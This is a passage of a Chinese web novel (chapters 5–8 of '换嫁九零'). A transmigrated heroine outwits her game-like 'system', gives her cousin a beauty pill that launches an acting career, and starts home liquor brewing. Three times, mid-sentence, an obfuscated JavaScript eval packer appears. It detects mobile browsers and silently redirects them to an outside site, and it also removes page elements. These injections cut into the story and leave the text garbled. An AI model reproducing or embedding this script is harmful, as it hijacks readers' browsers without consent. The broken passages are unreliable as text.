那当然要拆了,叶奚青毫不犹豫选择同意,系统又高兴地打了个响指。 “恭喜宿主,您获得了美容丹(永久)x1、积分x100,积分可用以兑换商城用品,但不可以兑换任务世界货币,当所有任务结束,宿主可获得积分的现实兑换权。” “美容丹您现在就可以使用,作为一款永久属性的丹药,可以将您的美貌值永久+100,世界重置不清除效果,系统商城中原售价为8888,现作为新手福利,免费发放。” 叶奚青浏览着对她开放权限的系统商城,确实比她想象的庞大得多,不仅有现世的物品,还有许多诸如“美容丹”“好孕丸”“万人迷光环”…… 叶奚青在系统空间中看着售价8888的美容丹,和积分栏短短的数字100,大概明白了这个商城的性质。 捏着这枚最贵的道具看了一会儿,叶奚青开口询问:“100的美貌值,具象起来是什么样?” 系统满面春风地笑着:“美人和顶级美人的区别,可能只差微不足道的一个改变,拥有了这100美貌值的加成,您将会向着顶级美人迈进。” “哪怕因为您今天的放弃,让陆景安对您产生了一些恶感,再见面时,看见您全新的美貌,他也会不由自主地向您臣服。” “8888积分只是对现在的您来说有些珍贵,当您完成的世界越来越多,您可以把它当糖豆吃。” “您将会拥有越来越美的容貌,而这些和积分一样,都能在您回到原世界时提现。” “怎么样宿主,现在是不是很有动力做任务了?” 陆景安居然对她有些恶感? 系统说了很多话,叶奚青却只听进去了这一句。 一开始,她对陆景安并没有什么额外的关注度,就算说他是个霉货,也多出于对系统的恶意,和事实的推理,与陆景安本人无关。 万万没想到,陆景安居然还对她产生了恶感? 本来因为“可以回到原世界”这个消息,叶奚青暴躁的心情,已经平和下来,结果系统给她整这手。 看着系统空间泛着神秘光泽的【美容丹】,叶奚青泛起冷笑。 对我产生恶感,需要我变美讨好你,你是谁啊,你也配! …… 清晨,苗双双从炕上爬起来。 说是睡了一觉,实际上是苗双双和她妈面面相对,想起来就吵一嘴,想起来就吵一嘴,直吵了半宿,最后完全不知怎么睡的。 睡了一个半拉胡啃的苗双双,顶着糟乱的头发,和乱七八糟的精神,胡乱洗了一把脸,拿起镜子,不用照也知道自己是个什么鬼样—— “啊!” 叶世英也早就起来了,本来就心情不好,看这个闺女不顺眼,还听到这么一个动静,立刻骂骂咧咧地走进屋:“你在鬼叫什——” “啊!” 两声巨大的叫声,把昨晚因为生气和吵闹,也没睡好的叶奚青吵醒了。 她刚要生气,在视线接触到苗双双的脸后,缓缓降下来。 使用了美容丹后,只一夜,苗双双的脸就变得不一样了。 皮肤是牛奶般的白,头发是海藻般的茂密,脸型是再好的美容医院也整不出来的流畅,就算是瞎子见了,也不能不喜欢。 因为陆景安莫名其妙的恶感升起的愤怒值,又因为女配的绝世美貌降下来。 自作多情的男主和推销霉货的系统,确实是两个纯傻叼。 但系统给的道具效果,也确实出乎意料的好。 5. 《换嫁九零》 100的美貌值加在丑人身上没有什么区别,加在美女身上却立竿见影。 苗双双捧着自己的脸,不敢相信自己看见了什么。 也就睡一觉的功夫,她的脸好像就不一样了! 以前她长得也很漂亮,但也就在小地方能炫耀一下,后来她去了大城市,尤其是在娱乐圈混过,就没有那么自信了。 但今早起床她刚扒着镜子瞅了一眼,就给自己美了一大跳! 苗双双愣了一会后,立刻开始擦镜子。 该不会是这个镜子出问题,她眼花看错了吧! 那肯定不是了,因为叶世英也看呆了。 把女儿生得这么漂亮,她一直很骄傲,但她没想到,她女儿居然能漂亮成这样! 是皮肤变白了吗?是眼睛变亮了吗? 明明五官也没变啊,还是她女儿啊,怎么就好看到这个程度了呢! 因为这突兀的状况,母女俩什么都忘了,站在原地面面相觑。 直到一股无法忽略的煳味传来,叶世英才反应过来—— 坏了!她的饭! …… 只要被吵醒了,再怎么补觉也是补不上的,叶奚青烦躁地从女配家炕上下来,开始她新世界的探索。 来到外屋,就看见饭菜已经摆好了,苗双双就坐在那里,也不动筷。 看见叶奚青后,立马咳嗽了一声,假装很忙地将头发捋到耳后,漫不经心地哼起歌,一副不知道在干什么的样子。 这叶奚青要会不到她的意,就对不起她一秒钟八百个动作了。 于是叶奚青立刻从善如流地退后一步,抑扬顿挫、声情并茂道:“哇,双双,怎么回事,你今天怎么这么好看,是化妆了吗?” 她的演技不够出色,态度不够诚恳,但苗双双已经被变美的喜悦冲昏了头脑,并没有发现。 捂着嘴“哦呵呵”的笑着,装模作样道:“哪有啊,青青姐你说什么呢,人家就是洗了一把脸啦~” “啊,真的吗,双双你不化妆,居然比化妆的人还好看哎。” “哪有啦,我就是一般般啦,根本比不上青青姐你啦~” “可别这么说,外人听见可要笑话我了。” “哦呵呵,青青姐你说什么啦~” …… 苗双双和叶奚青毕竟是一个屋檐下的表姐妹,除了小的时候能肆意表达对对方的厌恶,长大后大多时间维持着表面上的和睦。 苗双双美滋滋地吃着饭,以前她是半只眼睛看不上叶奚青,但因为突如其来的美貌,她在叶奚青面前突然有优越感了。 人就是这么奇怪,铆着劲和叶奚青比时,她感觉自己和这个表姐仇深似海。 但有一天终于觉得自己有一方面超过后,她突然感觉,自己好像也没有那么讨厌这么个表姐了~ 于是吃完饭,两个女孩一起收拾碗筷时,破天荒的,苗双双和叶奚青聊起了天。 “青青姐,要不要我也给你打扮打扮,你打扮起来肯定也很好看~” 九零年代的农村没有自来水,连洗碗都很费劲,叶奚青碰一下就再也不想碰了。 苗双双的意图也很明显,三句话不离美貌话题,就是让叶奚青再夸一番。 但叶奚青已经夸累了,所以没接话,直接开启新话题:“我就不用了,再打扮也是那样,倒是双双你,你这么好看,要不要当大明星啊?” 苗双双:啊? 她今天突然变美后,只单纯地沉浸在变美的喜悦里,并没有想过美貌会给她带来的利益价值,毕竟她重生后的“人生计划”,已经规划好了。 而经叶奚青这么一说,苗双双突然陷入沉默,前世几乎被遗忘的“逐梦演艺圈”经历,开始慢慢涌出回忆。 苗双双视角看的陆景安不是完整的陆景安,系统视角看的苗双双,自然也不是完整的苗双双。 人们都说她想当明星的经历,是成为豪门贵妇后,钱烧得没地花,瞎作。 但最初,确乎也是有点热爱的。 她从小就是一个爱慕虚荣的女孩,从小就喜欢众人的关注和赞美,从小就喜欢出风头。 所以当知道有明星这么一个光鲜亮丽的工作时,她羡慕得眼睛都亮了,每天幻想着自己也能这样,当机会来临时,自然毫不犹豫就让别人满足自己。 只是太久了,久的她自己都忘记了。 她最后的记忆好像只有和陆景安纠纠缠缠、吵吵闹闹的那么多年,为什么有了机会却没好好珍惜,连她也想不起来到底是为什么了。 叶奚青的一句话,将苗双双从喜悦的心情里击落。 她沉默了很久,终于找到了说服自己的说法,一脸嫌弃地看向叶奚青:“你以为当明星有张脸就行了吗,这里面的门道大着呢!” “咱们家这么穷,连人家剧院朝哪开都不知道,上哪去当明星啊!” 更何况她为什么要去当明星呢,她马上要成为未来首富的太太了! 当明星再好还能有首富太太好吗,幼稚! “哦。”叶奚青点点头。 “那我刚想和你说呢,我妈之前给我打电话的时候,说了她们酒店里,现在正住着一伙拍戏的,我还想问问你,要不要去碰碰运气,万一就被看上了呢?” “真的?” 叶奚青的亲妈,苗双双的小姨,生下叶奚青后就出去打工了,这个时间段正在首都一家酒店里当前台,所以她说遇到拍戏的,那可能是真遇到了! 原本苗双双也不至于因为这么一句话心动的,毕竟就算她再自信,也不至于自信到,相信因为一个前台的引荐,就能被星探发现。 但偏偏今早突然的美丽加成,把她的一颗心,呼啦啦烧起来了。 如果是真的,她要不要去试试呢…… 苗双双心里还在翻江倒海,叶奚青已经认真点头了:“当然是真的了。” “不过我忘了,你好像要准备结婚了。” “如果你和顾鹏飞结婚了,那就不能去了吧?” “怎么不能!” 说这句话的却不是苗双双,而是叶世英。 原先苗双双嚷嚷着要唱歌,要演戏,要当明星什么的,叶世英都当瞎扯淡。 但要是和嫁给顾鹏飞比,她宁愿自己闺女去扯这个淡啊! 从兜里掏出五毛钱,门都顾不上关了,拽着叶奚青就去了村里的小卖部。 这个年头,就这里有一部电话,所有人想和外地人联系,都得在这打。 等拨通电话,和自家妹妹确定这个消息后,叶世英几乎激动得热泪盈眶:“那我让双双去你那一趟吧!” 叶世梅陷入沉默。 原本剧组的消息,她就是随口和女儿提一嘴,万万没想到,居然引来了这么一茬! 她在外面漂泊了很多年,也是刚找了这么一个还算体面的工作,本来不想节外生枝。 但别人也就罢了,偏偏这个人是她大姐。 她这辈子最欠的人,大概就是她大姐了,所以不管怎么样,这个请求她都得答应。 下定决心的叶世梅,捂着话筒郑重道:“那你让双双尽快来吧,我不知道他们会拍多长时间。” 得到肯定答案的叶世英顿时喜上眉梢,又风风火火地拉着叶奚青回去,把压箱底的钱往苗双双怀里一塞,就是俩字:“快去!” 苗双双:…… 想干啥啊!想干啥啊!经过她同意了吗! 但这一切发生得太快了,比她重生还快,根本让她来不及冷静思考。 到底是要当板上钉钉的未来首富太太呢,还是要当影都没有的未来大明星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075257|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 苗双双把钱往兜里一揣,想也不想地拔腿就跑。 这还用问吗!也不耽误啊! 等她去首都看完了回来,也还是能当首富太太啊,既然如此,干吗不试试呢! 身为全书最恶毒的恶毒女配,苗双双身上最大的优点,就是见利忘义、见风使舵、能屈能伸,一遇到新好处,跑得比兔子还快。 等她风一样的身影消失后,系统才找到自己的声音。 “宿主……你在干什么……” 叶奚青一边搀着苗母的胳膊,和她一起送别苗双双,一边淡定地回着系统的话:“这都看不出来吗,给打工的一点金手指啊。” “苗双双这种性格,发达了很难不回家砸钱炫耀,我现在住在她们家,她发达了,我不就沾光了吗?” “那你可以把美容丹给自己,自己去当明星啊,干什么要给别人使!” “我又不会演戏。” “那你可以用美貌来吸引陆景安啊,不单陆景安,所有人都会被你狠狠拿下!” “我不想说难听的话。” “总之不管给谁,也不能给苗双双啊!” “为什么?” 系统简直要被叶奚青气疯了,这还用问为什么吗! “苗双双是恶毒女配,她一直想害你啊,你把金手指给她算什么,圣母这种人设,现在早不流行了!” 听到这,叶奚青终于回头了,认真地问。 “有吗?” “她不是第一世嫁陆景安挑衅我,陆景安破产了,第二世换个顾鹏飞嫁,顾鹏飞完蛋了。” “两世我还啥都没干呢,她就自己把自己气到吐血了,我想问你很久了,这个恶毒女配,到底恶毒在哪里了?” 系统:…… 完了……怎么感觉叶奚青说的是事实呢…… 苗双双确实是全文最有存在感的恶毒女配,但她确实也没做出什么有威慑力的事。 毕竟她是那种用愚蠢来衬托女主的反派,而一个蠢人,连做反派都干不出有杀伤力的事…… 但还是不对啊! “苗双双虽然没干出什么太大的事,但如今有了你给的美容丹,她搞不好真的会成功,如果她用你给的金手指做出一番事业,观众不就觉得你比不上她了吗!” “你才是本文的女主啊,你就不怕被女配超过吗!” “那又怎么样呢,男主不是超过我很长时间了吗?” 系统:嗯?谁? 叶奚青却理所当然地继续道:“我是一个私生女,我家穷的漏风,陆景安却是豪门阔少,众星拱月,他都超过我那么多年了,你也没句屁话,现在恶毒女配还没超呢,你急什么?” 系统:…… “这能一样吗!陆景安是男主啊!你一个女主,和男主比什么!” 叶奚青丝毫不理会:“当然要比了,作为爽文女主,我居然不是最爽的,凭什么?” “而且我承认他,他才是男主,我不承认,他就不是。” “你真的好奇怪啊,和我没有任何关系的陆景安,你总是不遗余力地劝我去帮他,和我有血缘关系的姨家妹妹,你却总盼着我把她踩到泥地里才好。” “那你告诉我,在这个人情社会,有一个可能成为大明星的亲戚,对我到底有什么坏处?” 系统:…… 胡说八道!满嘴歪理!不要觉得长篇大论,说的就都对! 话不投机半句多,系统用很长时间才让自己冷静下来。 等冷静下来,强压怒意道:“那宿主准备怎么开启你伟大的事业,成为最爽的主角呢?” 叶奚青回头,将目光落在它身上,异常诚恳道:“当然是靠你啊。” “呵呵……靠我……” 等等……靠谁? 6. 《换嫁九零》 见过不要脸的,没见过这么不要脸的! 系统气急而笑:“靠我?我以为宿主听起来这么有志气,会更想靠自己呢!” 叶奚青却淡定地歪歪头:“为什么会这么想呢,你不是我的系统吗,难道我们吵了几次嘴,你就不准备帮我了吗?” “这样会不会显得有点小气。” 系统:…… 谁小气,求人也要有求人的态度,你这像求人的样子吗! 但它还真的不能不帮…… 这是它第一次后悔绑定叶奚青,但绑都绑了,它不能让节目开天窗。 系统后台现在已经被“哈哈”两个字刷屏了,可以想象它气急败坏地把叶奚青丢回去,会造成多么严重的直播事故。 不生气,不生气,气死自己叶奚青得意。 所以系统强自压抑道:“哈哈,跟宿主开玩笑的,作为系统,我当然会一直帮您啦。” “只是系统已有言在先,系统并不会给您提供超出任务世界的金手指,宿主完全指望系统走上人生巅峰,并不现实哦。” “那你放心,我并没有那种想法,你就把我那个世界的,我那届的,高中全套教科书和练习题给我吧,这个不超出世界吧?” 系统:…… 咱们先不谈超不超出世界的问题,咱们就谈谈,你要这个干什么! 这是穿越九零,不是穿越八零啊,你是不是以为现在还有恢复高考剧情啊! 不说叶奚青本世界的高考,和这个世界的一不一样,就是叶奚青她自己,也已经辍学六年了啊! 苗寡妇为什么被叫苗寡妇呢,当然是因为她男人死了,被大货车撞死了。 原本是应该赔点钱的,但偏巧那个货车司机是刚接手那辆货车的,车手续什么的还没转移,撞死人后,想也没想就逃了。 去找的时候,家里什么都没有,只剩他媳妇,梗着脖子说和她无关。 而去法院打官司,也只能打到原车主头上,原车主更不能干了。 就这样,一遍遍找人,一遍遍上诉,一遍遍跑法院,最后也是原车主认倒霉,赔了个诉讼费和丧葬费。 把苗父埋了后,家里什么都不剩。 这些年,一直靠着叶世英一个人里里外外地操持家务,还有她妹妹外出打工,贴补家用。 能养活两个女儿已经不简单了,更别提供她们读完书了。 所以叶奚青和苗双双,都是初中都没念完,就出来打工了,就算叶奚青的文化储备可以直接参加高考,她都没有高考资格,她要高考书籍干什么! 叶奚青微微一笑。 “你先别激动,我只是不想手生了,回去后跟不上课程。” “不管任务世界再美好,终究只有我的世界对我来说才是真的,我不会本末倒置,荒废了自己的学业。” “不过你反应这么大,难道说这种操作还挺难的?” “那是因为技术原因办不到呢,还是因为违规不允许呢?” 系统:…… 那当然没有什么难的了! 系统作为一个数字智能生物,信息库当然是它最基础的东西,叶奚青世界的“X度”都能轻易做到的事,它怎么可能做不到! 但正因为它能轻易做到,所以它才会这么生气。 “宿主确定要将这么珍贵的积分,用在这么鸡肋的用途上吗,您可只有100积分。” 叶奚青直勾勾地看着系统,在它给出肯定答案后,才露出一个微笑。 “啊,能做到就好。” “系统你只管把我想要的东西给我,至于鸡不鸡肋,那是我要衡量的东西。” …… 系统果然将叶奚青要的东西准备好了。 但在一穷二白的苗家,凭空多出那么一大堆纸质书,也很引人注目,所以系统只提供“电子版”,供叶奚青在系统空间查阅。 “电子版没有纸版用着方便。” “不要可以退。” “那还是不了,10积分呢,换算人民币有一千块呢。” “呵呵。” 为了让叶奚青知难而退,系统故意定了10积分的价格,还是没劝退了。 那它就看着,叶奚青用剩下的90积分能干什么吧! 不过这么一说的话,90积分和100积分确实也没啥区别。 它想通了,其实比起直播原定剧情,直播宿主犯蠢也挺有节目效果的。 …… 农村的壮劳力,很少有闲下来的时候,但叶世英和叶奚青都很闲,为什么呢,因为她们都被辞退了。 农村本来就业机会就少,更不用说九几年,所以陆家开得红红火火的大酒厂,提供了周边最多的就业岗位,其中当然也包括苗家这娘仨。 其实在退亲那天,叶世英就隐隐约约想到后果了,但她一个人支撑这个家这么多年,知道脸面是最没用的东西,所以还是厚着脸皮去厂子看了。 一进门,就有人嬉笑着:“哎?这不老板亲家吗?怎么亲自来干活了?” 叶世英上去陪笑,还想继续假装什么也没发生的去拿自己的活,偷摸混过去。 结果很明显,被人抢了家伙事赶出来了。 一直到家里,叶世英还涨红着脸。 想到在酒厂受到的屈辱,不禁脱口骂道:“死丫头!讨债鬼!” 但没用,苗双双早就不在了,根本听不见,只剩叶世英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075258|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和叶奚青两个点算残局。 苗家本来就不富裕,叶世英又脑子一热,把家里的钱都给苗双双当盘缠去首都了,接下来的几天,真是吃饭都成问题。 而她又失了工作,这不是简单找别人借两块就能渡过难关的,所以她看了一圈,最后落在玉米垛上。 泄气道:“要不咱们把棒子卖一些,也不知道能卖上个什么价……” 这里家家户户都种玉米,农村土话叫棒子。 叶奚青一直乖巧地跟在叶世英身后,听到这抬起头:“现在棒子多少钱一斤?” “前段日子听说才两毛五分钱,现在也不知道涨没涨。” “那散酒多少钱一斤?” “散酒?那可贵了,差不多二十块一斤呢。” “既然差距那么大,那我们为什么不把粮食酿成酒卖呢?” “啊?”叶世英被叶奚青幼稚的话逗笑了,“卖成酒?且不说能不能卖出去,咱家谁会烧酒啊?” 叶奚青却很认真:“我记得小时候,咱家烧过酒,姨,你不就会吗?” 提到旧事,叶世英像所有上了年纪的人一样,怀念一笑:“那都多少年前的事了,都是双双她爸弄的,我就打个下手,我哪会啊。” “而且就算我会,现在谁还买小锅酒啊,陆家那大酒厂,全是大锅烧酒,一大车一大车的往外拉,有现成的,谁还买你自己烧的那几两破酒啊。” 叶奚青却依然没有松口:“但是陆家的酒,质量并不好啊。” 叶世英停顿了一下,这倒是本地人众所周知的秘密。 陆家以次充好这种事,忽悠外面不懂酒的还行,忽悠本地人基本不可能。 在陆家干活的就是各家的七大姑八大姨,一人说一嘴,马上所有人都知道了。 不过这种事,和他们无关,本地人都靠着酒厂生活呢,当然不会去检举。 但叶奚青今天一直提这茬,搞的叶世英有点不明所以,于是不解地问道:“青丫头,你说这个干啥,难道你还真有想法?” 听见叶世英的问话,叶奚青点点头。 她平时就不多话,原主也和她一脉相承,是长辈会喜欢的乖孩子。 有着之前的信誉,就是说一些奇妙的想法,也有人愿意听,叶奚青也就大胆说了。 “是啊,姨,我真有想法。” “我搞到了一个特别好的酿酒秘方,可以保证能酿出很好的酒。” “咱们把这些粮食,都酿成酒去卖吧!” 空气陷入沉默,叶世英和系统都不说话了。 过了许久,才反应过来,然后就是疑问—— 你一个连酒都不会喝的普通小姑娘,到底哪来的秘方啊! 7. 《换嫁九零》 比起叶世英单纯的疑问,系统心里更生出一种不祥的预感,谨慎地开口:“宿主,你怎么会有酿酒秘方呢?” 叶奚青歪头看向系统,在系统越来越焦急的情绪中,缓缓笑出来:“系统,你怎么会问我呢,我有没有酿酒秘方,不取决于你吗?” “作为最顶尖的科技结晶,酿酒资料对你来说应该是很简单的事吧?” “我现在就需要你的帮助,你会帮助我吗?” 系统卡在原地,愣了很久后,猛然醒悟——它被叶奚青算计了! 酿酒秘方算是很大的金手指吗? 当然算了,一个酒业企业最大的资本,怎么能不算呢? 但在系统商城,它算一个很珍贵的道具吗? 当然不算了,它不是刚把高中三年的,几乎能摞成山的,全部教科书和练习资料,以10积分的价格,打包卖给叶奚青了吗? 这么多、包罗万象的书籍,都只卖了10积分。 那么只是记载酿酒知识的书籍,怎么会很珍贵呢? 系统很恼怒,但这种恼怒却来源于无力。 它当然可以拒绝叶奚青,它当然可以用任何理由掀翻叶奚青的算盘,但是它不能,因为观众的反馈,正潮水般涌来—— “哇哦,系统是不是被这个任务者套路了?” “哈哈哈,你没看错,本来这个酿酒秘方是不能那么轻易给的,但这个叫叶奚青的任务者,玩了一手声东击西,把规则给套出来了!” “哈哈哈!有意思了!有意思了!说实话,千篇一律的剧情,我看得已经有点烦了,这种任务者和系统的对抗看着更有意思哎!” “加油任务者,努力干翻系统!你把系统斩于马下,我给你刷航空舰!【打赏x1】【打赏x1】【打赏x1】” “别高兴得太早,万一系统就是不给呢,最终解释权可归系统所有。” “这有啥不能给的,也不是什么很了不得的金手指,不就被套路一下吗,不会这么玩不起吧?” …… 不停滚动的弹幕,几乎将系统的后台刷屏,这就是它不能拒绝的原因。 如果它给了,只能说是吃了个哑巴亏,增加些被调侃的节目效果。 但如果它拒绝,那对抗就会瞬间升级,节奏直接剑指它本身。 它不是一个走黑红路线的系统,一直在好好经营自身形象,并不想因为这个损害自己的名誉。 所以就算打落了牙齿,也只能往肚子里吞,强笑道:“啊,原来是这样啊,我还以为宿主身上有一些我也不知道的隐藏剧情呢。” “既然并没有,还是靠我,那就请宿主你说一下,想要什么样的酿酒书籍吧……” 呵呵。 叶奚青心情愉悦地笑了一下。 其实按照常规“系统文”来说,她想要一个酿酒秘方,直接和系统要也就是了,不必耍这种小聪明。 她之所以这样做,不是因为她觉得这个金手指很珍稀、很难得,而是因为她知道系统肯定不会给。 仔细想想,穿越回一天前,那么原本做错的题,就能不做错。 穿越回三十年前,那么已经走错的人生,也能不走错。 系统让她带着三十多年的信息差重回九零,在这个遍地商机的年代,她甚至不用做什么,靠着捡垃圾都能走上人生巅峰,成为爽文女主,系统却只想让她嫁给男主。 那么酿酒方子是个很珍稀的金手指吗? 当然不是了,有助于挽救男主事业的金手指,怎么会很珍稀呢? 如果她现在已经和陆景安结婚了,就算她不要,系统也会找个理由,免费送给她。 那这么简单的金手指,系统会心甘情愿的给她吗? 当然也不会了,对男主事业有帮助的金手指,给男主使使理所应当,女主不给男主,想自己使,那怎么能行呢? 叶奚青不想揣测系统是思维僵化,还是心理有问题,但就事实上,它很明显的,不想给她任何可能脱离男主的金手指。 那就很简单了,把系统也当敌人处呗。 和系统为敌,确实显得她很不自量力,所幸她不真的是九零年代的人,她刚好出生在一个信息爆炸的年代,所以虽然普通,却并不是没见过世面。 直播人生啊,高维世界的综艺节目吗? 那么对于一个“综艺节目”来说,最大的势力,不应该是“观众”吗? 不过不管这个直播是什么性质,它和现实的综艺节目都有些共同点,那就是直播的是嘉宾的人生,而不是自己幕后的操手,它绝不会将节目效果,引到嘉宾和节目组对抗上。 既然有弱点,她就有机会。 叶奚青轻轻地试探了一下系统的底线,得到了满意的答案。 这一局,是她赢了呢。 …… 搞定系统后,那就剩搞定苗母了,果然,叶世英也有些疑惑:“你哪来的方子?” 这当然也很简单,叶奚青继续透支原主信誉:“之前在酒厂干活的时候,就是那个谁……那个技术部的……” “王技术员?” “对对对,就是他,他之前想跟我谈对象,然后就告诉了我好多东西。” “啊?那你怎么不跟我说啊,王技术员工作挺好的,嫁他也不吃亏啊,我要知道,就不让你嫁姓顾的那个白眼狼了!” “我不喜欢他,根本没答应,但没想到我越不答应,他越来献殷勤,然后我就知道了好多。” “哦,男的是这样的,你对他越不上心,追得越紧。” “是吧。” …… 就这样聊了很久,叶世英终于从“你爱我,我爱你”上,转移到她外甥女有“秘方”,会酿酒上。 但这玩意就不像八卦那么简单了,叶世英还是心存疑虑:“你真的确定吗?你之前做过吗?真的行吗?” 对于叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075259|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奚青来说,只要叶世英接受她“有秘方”这件事就好了,至于行不行的—— “大姨,我们先煮一锅试试呗。” 叶世英不是一个很有主意的人,因为家境的贫穷,更让她害怕试错。 但是叶奚青所说的“秘方”“卖酒”什么的,实在太诱人了。 那么用一袋棒子试试,值不值呢? …… 叶奚青抽开笔盖,笔尖凝固着墨渍,看起来很久没用了。 擦干净笔尖,将笔浸入还剩半瓶的墨水里,吸饱水,她不常用钢笔,但以她对这种脆弱笔种的了解,除非金钱强化,不然坏的非常容易。 所幸她在纸上划拉几下后,发现虽然难用,但勉强能使,便摊开笔记,将她的所见所得,流利地记录起来。 叶奚青对酿酒原理并不陌生,毕竟是有机化学非常经典的一课。 在书本上只是一串非常简单的知识点,放到宏观世界却是一个行业的起点,仔细想想,还挺浪漫的。 不过真实的世界,总不同于化学课本上那串简单的方程式,真实的酿酒流程,也远比书本上的知识复杂。 系统虽然不得不将酿酒书籍给她,却也乐于在观众看不见的地方给她添麻烦,当它将两块砖一样厚的书拿出来时,叶奚青甚至能感觉系统在偷笑。 “为了更好地帮助宿主,系统已经将无数世界的顶尖酿酒知识编纂成册,就是内容有点多呢,宿主需不需要【记忆铭刻】金手指?” “【记忆铭刻】金手指,可以将想用的信息,直接化为数据,输送到宿主脑海里,非常便捷。” “就是作为高级金手指,售价4888,宿主的积分,可能有点不够用呢~” 叶奚青听着系统猖狂的声音,可以想象它有多么得意。 但它忘了,她是一个高三生,作为一个合格的高三生,除了要有永不疲倦的阅读欲,还要有精准提炼重点的能力。 叶奚青将那本厚厚的书,扫了一下目录,随便翻了几页,就抬起了头。 “我已经看完了,不管是哪个世界,酿酒的技术都大同小异,无外乎是材料和工艺。” “但现阶段,对于材料和工艺的控制,条件简陋的我,反而做不到控制得那么精确。” “那么想要脱颖而出,努力的方向,只能在更小、更简单,却更容易出效果的‘酒曲’上。” “系统,我对你给我提供的丰富酒业知识很满意,现在请你给我提供更丰富的‘酒曲’知识吧。” 系统:…… 就这样,叶奚青不仅获得了丰富的酒业知识,还获得了丰富的酒曲知识。 酒曲作为让粮食发酵的发酵剂,用量不大,却至关重要。 叶奚青阅读着、筛选着,最后攒成一张纸,也就是所谓的“秘方”。 这张秘方应该叫什么呢? 叶奚青想了想,写下: 玉米90——by叶奚青。 8. 《换嫁九零》 叶世英最终还是同意试试了,除了叶奚青描述得太有诱惑力,还有苗双双那边来了消息—— 她被录用了! 叶世英按着话筒,简直不敢相信自己听到了什么。 这个时候虽然彩电还很贵,但黑白电视已经越来越多,就算是农村,有钱的人家也买得起了。 在农村,如果哪家有个黑白电视,是非常了不起的,几乎人人都会去看,可以在电视中表演的小人,对农村人来说,自然更稀罕。 结果没想到,她女儿现在就要进电视里表演了! 叶世英乐的眼睛都看不见了,有这么一剂强心剂,酿几锅酒有什么不敢的呢,酿! 至于你问叶奚青敢不敢凭几分纸上谈兵的知识,开启酿酒事业,她敢。 化学实验课上做实验的时候,也没提供过超出课本外的知识,她有什么不敢的。 只是现实的“实验”,总和课堂上有些出入,在她拿出温度计之前,已经有只大手阻止了她。 回头,叶世英略带苍老的脸,露出一个微笑:“青青……其实锅盖四周冒蒸汽,把锅顶开的时候,锅就是开了……” 叶世英常年干农活的强壮手臂,可以轻易阻止叶奚青做任何事。 叶奚青淡定地收回温度计。 瞧瞧,多么经验丰富,且有建设性的助手啊。 叶世英收回手,擦了擦冷汗。 看来对外甥女非常专业的指导性意见,可以信,但不能全信…… …… 这对姨甥在家鸡飞狗跳地酿酒,感受不到时间的流逝,苗双双也在剧组努力拍戏,过得飞快。 转眼三个月到了,苗双双踩着时髦的长筒靴回家,看着熟悉的门楣,扬眉吐气——她衣锦还乡了! 叶奚青和叶世英正在收酒,现在是头锅酒,已经很清亮了,但一会儿还要再蒸一锅。 二锅酒,没了酿造时的杂味,却还残留着原料的粮食香,是最受欢迎的一锅,也是卖得最好的一锅。 两人收酒收得的很专注,完全没意识到有人来,直到咳嗽声响起,才想起转头。 这一看不要紧,叶世英直接跳起来了:“啊!” 不怪她这么激动,因为回来的不只是苗双双,还有一个身材高挑,形容削瘦的人。 在看见叶世英后,来人腼腆笑道:“姐,青青。” 是叶世梅! 在看到叶世梅的一瞬间,叶世英什么都顾不上了,直接跑了出去。 在那个孩子遍地跑的时代,大姐带小妹,和当妈的也没差,里里外外地看着叶世梅,不知为什么,竟有点心酸。 “怎么突然回来了,也不说一声,我去接你啊,这些年在外面都干啥了,怎么瘦成这样了……” 叶世梅咳了一声,带上笑意:“这不全靠着双双争气吗,她说她赚钱了,想给你们个惊喜,非要让我回来。” “现在外面都是流行瘦,别人不瘦的还要减肥呢,我这样的可让人羡慕了。” “羡慕啥啊,瘦得都没影了!” 叶世英一边给她提包,一边把她往屋里带,全然忘了自己的亲女儿。 “看看,这是青青!想她了吧!” 被落在一旁的苗双双异常无语,就回来了一个人呗? 不过算了,她现在心情很好,所以会给所有人好脸色! 她这趟没白跑,真要成明星啦! 一开始去首都的时候,谁心里也没底。 叶世梅一个酒店前台,能干啥啊,只能忐忑地观察着剧组进进出出的人,终于被她发现了谁是里面的头。 在苗双双到后,一鼓作气,拼着被开除的可能,拉着苗双双上去搭讪。 吴春华是谁呢,当过兵,扛过枪,现在在国家剧院做主席,想搭上她的不知凡几。 像叶世梅这种想举荐自己亲戚的,她见太多了,可以说第一眼就生气了,但她第二眼就看见了苗双双。 身为一本书最重要的恶毒女配,作者当然不会不给她配备美貌,但肯定是有极限的,不可能太顶尖。 可偏偏叶奚青这个神来之笔,打破了恶毒女配的美貌极限。 